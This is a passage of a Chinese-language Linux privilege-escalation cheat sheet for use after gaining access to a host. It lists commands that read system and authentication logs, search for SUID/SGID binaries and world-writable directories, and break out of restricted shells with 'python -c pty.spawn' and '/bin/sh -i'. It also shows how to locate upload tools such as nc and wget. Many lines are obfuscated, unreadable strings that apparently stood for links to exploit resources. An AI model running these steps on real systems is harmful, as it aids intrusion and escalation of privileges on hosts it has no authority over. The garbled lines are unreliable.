# 5faK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8Z5k6h3N6W2k6h3E0K6N6s2g2X3k6W2)9J5k6h3y4G2L8g2)9J5c8U0t1H3x3e0q4Q4x3V1j5H3z5q4)9J5c8X3I4A6L8Y4g2^5i4K6u0V1N6X3q4J5i4K6u0V1L8r3!0Y4i4K6u0V1k6X3W2D9k6i4y4Q4x3V1j5`.
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
#
auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info,
mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系统引导……)
如果命令限制，你可以打出哪些突破它的限制？
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
如何安装文件系统？
mount
df -h
是否有挂载的文件系统？
cat /etc/fstab
什么是高级Linux文件权限使用？Sticky bits, SUID 和GUID
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done #
Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin,
/usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID
(Quicker search)
#
findstarting at root (/), SGIDorSUID, not Symbolic links, only 3
folders deep, list with more detail and hideany errors (e.g. permission
denied)
find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null
在哪些目录可以写入和执行呢？几个“共同”的目录：/ tmp目录，/var / tmp目录/ dev /shm目录
find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o+w -type d 2>/dev/null # world-writeable folders
find / -perm -o+x -type d 2>/dev/null # world-executable folders
find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null # world-writeable & executable folders
Any "problem" files？可写的的，“没有使用"的文件
find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files
find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files
准备和查找漏洞利用代码
安装了什么开发工具/语言/支持？
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
如何上传文件？
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
查找exploit代码
122K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5M7r3I4G2K9i4c8Q4x3X3c8V1j5W2)9J5k6h3y4G2L8b7`.`.
187K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5K6x3K6N6V1j5i4W2Q4x3X3g2U0L8$3@1`.
129K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4W2j5%4g2J5K9i4c8W2j5h3#2Q4x3X3g2U0L8$3@1`.
f39K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4W2j5%4g2J5K9i4c8&6k6X3!0U0N6i4y4Q4x3X3g2U0L8$3@1`.
a94K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5M7r3I4G2K9i4c8K6k6h3q4J5j5$3S2Q4x3X3g2F1k6i4b7`.
38cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3#2W2N6r3q4K6M7r3I4G2K9i4c8Q4x3X3g2U0L8$3#2Q4x3V1k6E0L8$3c8#2L8r3g2K6i4K6u0r3
612K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4W2j5%4g2J5K9i4c8&6M7X3g2S2M7$3!0F1i4K6u0W2j5$3!0E0
1fbK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4W2j5$3I4A6M7%4c8K6i4K6u0W2L8%4u0Y4i4K6u0r3k6Y4g2D9L8r3c8A6M7$3y4D9L8%4y4#2M7X3g2Q4x3V1j5`.
25eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3N6G2L8$3N6D9k6g2)9J5k6h3y4G2L8b7`.`.
查找更多有关漏洞的信息
b57K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4$3k6h3c8W2N6r3q4A6L8s2y4Q4x3X3g2U0L8$3@1`.
944K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4m8S2j5$3E0W2N6s2y4@1L8%4u0E0M7$3g2U0N6i4u0A6N6s2W2Q4x3X3g2G2M7X3N6Q4x3V1k6X3K9h3I4W2M7#2)9J5c8X3y4$3k6g2)9J5c8W2)9#2b7V1y4h3c8g2)9#2c8l9`.`.
5baK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3y4$3k6g2)9J5k6h3#2A6N6s2u0W2i4K6u0W2L8%4u0Y4i4K6u0r3j5$3N6A6i4K6u0V1j5X3W2F1i4K6u0r3j5%4k6W2L8X3q4E0k6g2)9J5k6h3y4Y4K9g2)9K6c8X3&6S2L8h3g2Q4x3@1c8Q4y4f1u0o6g2V1g2Q4y4f1c8Q4y4f1c8Z5N6s2c8H3i4K6y4m8i4K6u0r3i4K6u0r3j5%4k6W2i4K6u0W2L8h3W2@1M7X3g2Q4x3X3g2G2M7X3N6Q4x3V1k6U0k6$3W2Q4x3X3c8T1K9h3&6Q4x3V1k6U0N6X3g2F1j5h3#2W2i4K6u0W2j5$3N6A6i4K6y4r3L8X3q4E0k6g2)9K6c8q4)9#2b7V1y4h3c8g2)9#2c8l9`.`.
66eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4k6#2L8r3&6$3K9h3g2%4i4K6u0W2j5$3!0E0i4K6u0r3j5%4k6W2i4K6u0V1k6r3g2@1j5h3W2D9M7#2)9J5k6i4m8Z5M7q4)9K6c8X3y4$3k6h3&6S2L8h3g2Q4x3@1c8Q4y4f1u0o6g2V1g2Q4y4f1c8Q4y4f1c8Z5N6s2c8H3i4K6y4m8i4K6u0r3i4K6u0r3N6%4N6%4i4K6u0W2N6Y4g2D9L8Y4k6A6k6i4N6Q4x3X3g2U0L8$3#2Q4x3V1k6U0N6X3g2Q4x3X3c8V1k6i4c8S2K9h3I4K6i4K6u0W2M7r3S2H3i4K6y4r3j5%4k6W2L8X3q4E0k6g2)9K6c8q4)9#2b7V1y4h3c8g2)9#2c8l9`.`.
0c1K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0V1I4M7X3W2Q4x3X3g2G2M7X3N6Q4x3V1j5`.
(快速）“共同的“exploit,预编译二进制代码文件
0caK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4c8S2M7X3q4F1N6s2g2D9j5g2)9J5k6h3u0&6i4K6u0W2M7Y4g2Q4x3V1k6D9L8$3y4S2L8s2u0G2L8%4c8Q4x3V1j5`.
53aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3E0W2j5$3g2H3j5i4c8S2L8W2)9J5k6e0j5$3k6$3S2*7i4K6u0W2j5$3!0E0i4K6u0r3k6X3W2D9k6g2)9J5c8X3I4G2j5$3q4D9i4K6u0V1M7X3!0G2N6q4)9J5k6r3g2^5M7r3I4G2K9i4c8Q4x3X3c8H3M7X3W2$3z5g2)9J5c8R3`.`.
上面的信息很难吗？
快去使用第三方脚本/工具来试试吧！
系统怎么打内核，操作系统，所有应用程序，插件和Web服务的最新补丁？
apt-get update && apt-get upgrade
yum update
服务运行所需的最低的权限？
例如，你需要以root身份运行MySQL？
能够从以下网站找到自动运行的脚本？！
8eeK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4m8W2L8Y4c8W2M7%4c8E0L8$3&6C8k6i4W2Q4x3X3g2F1k6i4c8Q4x3V1k6@1L8$3!0D9M7#2)9J5c8Y4g2F1K9i4S2Q4x3X3c8H3M7X3W2$3k6i4y4U0i4K6u0V1j5$3S2W2j5$3E0Q4x3V1j5`.
8b8K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3I4S2j5Y4y4Q4x3X3g2H3L8%4u0@1j5%4g2D9L8r3W2K6i4K6u0W2j5$3!0Q4x3X3g2#2K9#2)9J5c8X3q4H3M7r3I4A6j5$3q4@1K9h3!0F1i4K6u0r3k6h3&6#2L8e0c8D9K9h3&6#2P5q4)9J5c8R3`.`.
aa5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0S2M7%4c8A6L8r3I4W2i4K6u0V1L8r3W2F1N6i4S2Q4x3X3g2K6L8%4g2J5j5$3g2X3L8%4u0Y4k6g2)9J5k6h3&6W2N6l9`.`.
（快速）指南和链接
例如
818K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0m8V1j5i4W2K6k6h3y4#2M7X3W2@1P5g2)9J5k6h3y4G2L8g2)9J5c8Y4m8W2L8X3g2@1M7X3q4@1K9h3!0F1i4K6u0V1N6r3g2K6N6r3W2F1k6#2)9J5c8X3g2F1N6h3#2W2M7X3q4@1K9h3!0F1i4K6u0W2K9s2c8E0L8l9`.`.
e43K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3#2A6j5%4u0G2L8r3!0X3N6q4)9J5k6h3y4G2i4K6u0W2N6h3E0Q4x3V1k6Z5j5h3y4C8K9h3&6Y4i4K6u0r3K9r3q4U0K9$3W2F1k6K6y4Q4x3X3g2Z5N6r3@1`.
其他
e79K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3A6G2L8W2)9J5k6h3!0T1k6i4u0Z5k6h3W2V1k6g2)9J5k6h3!0J5k6#2)9J5c8X3k6A6L8r3g2K6i4K6u0r3M7%4c8S2j5$3E0B7j5h3y4C8K9h3&6Y4i4K6u0V1K9h3&6X3K9h3I4@1M7X3q4@1k6e0p5I4i4K6u0W2M7r3c8X3
1d0K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4m8W2L8Y4c8W2M7%4c8Q4x3X3g2U0M7Y4W2H3N6r3!0U0K9i4c8&6i4K6u0W2L8X3g2@1i4K6u0r3k6X3W2D9k6i4y4Q4x3V1k6U0L8r3W2W2L8Y4c8K6K9h3c8W2M7#2)9J5c8Y4m8G2M7%4c8Q4y4h3k6W2P5s2m8D9L8$3W2@1j5i4c8A6L8$3&6Q4y4h3k6X3j5h3I4D9x3o6W2Q4x3X3g2H3k6r3j5`.
755K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3W2F1M7$3W2V1k6i4c8J5N6i4y4@1i4K6u0W2j5X3I4G2k6%4y4H3L8%4c8Q4x3X3g2U0L8$3#2Q4x3V1j5J5x3o6p5I4i4K6u0r3x3o6c8Q4x3V1k6I4N6h3W2U0K9#2)9J5k6r3N6#2K9h3c8W2i4K6u0V1N6r3!0Q4x3X3c8D9K9h3&6#2P5q4)9J5k6s2m8J5K9i4k6A6L8r3g2Y4k6g2)9J5k6h3S2@1L8h3H3`.
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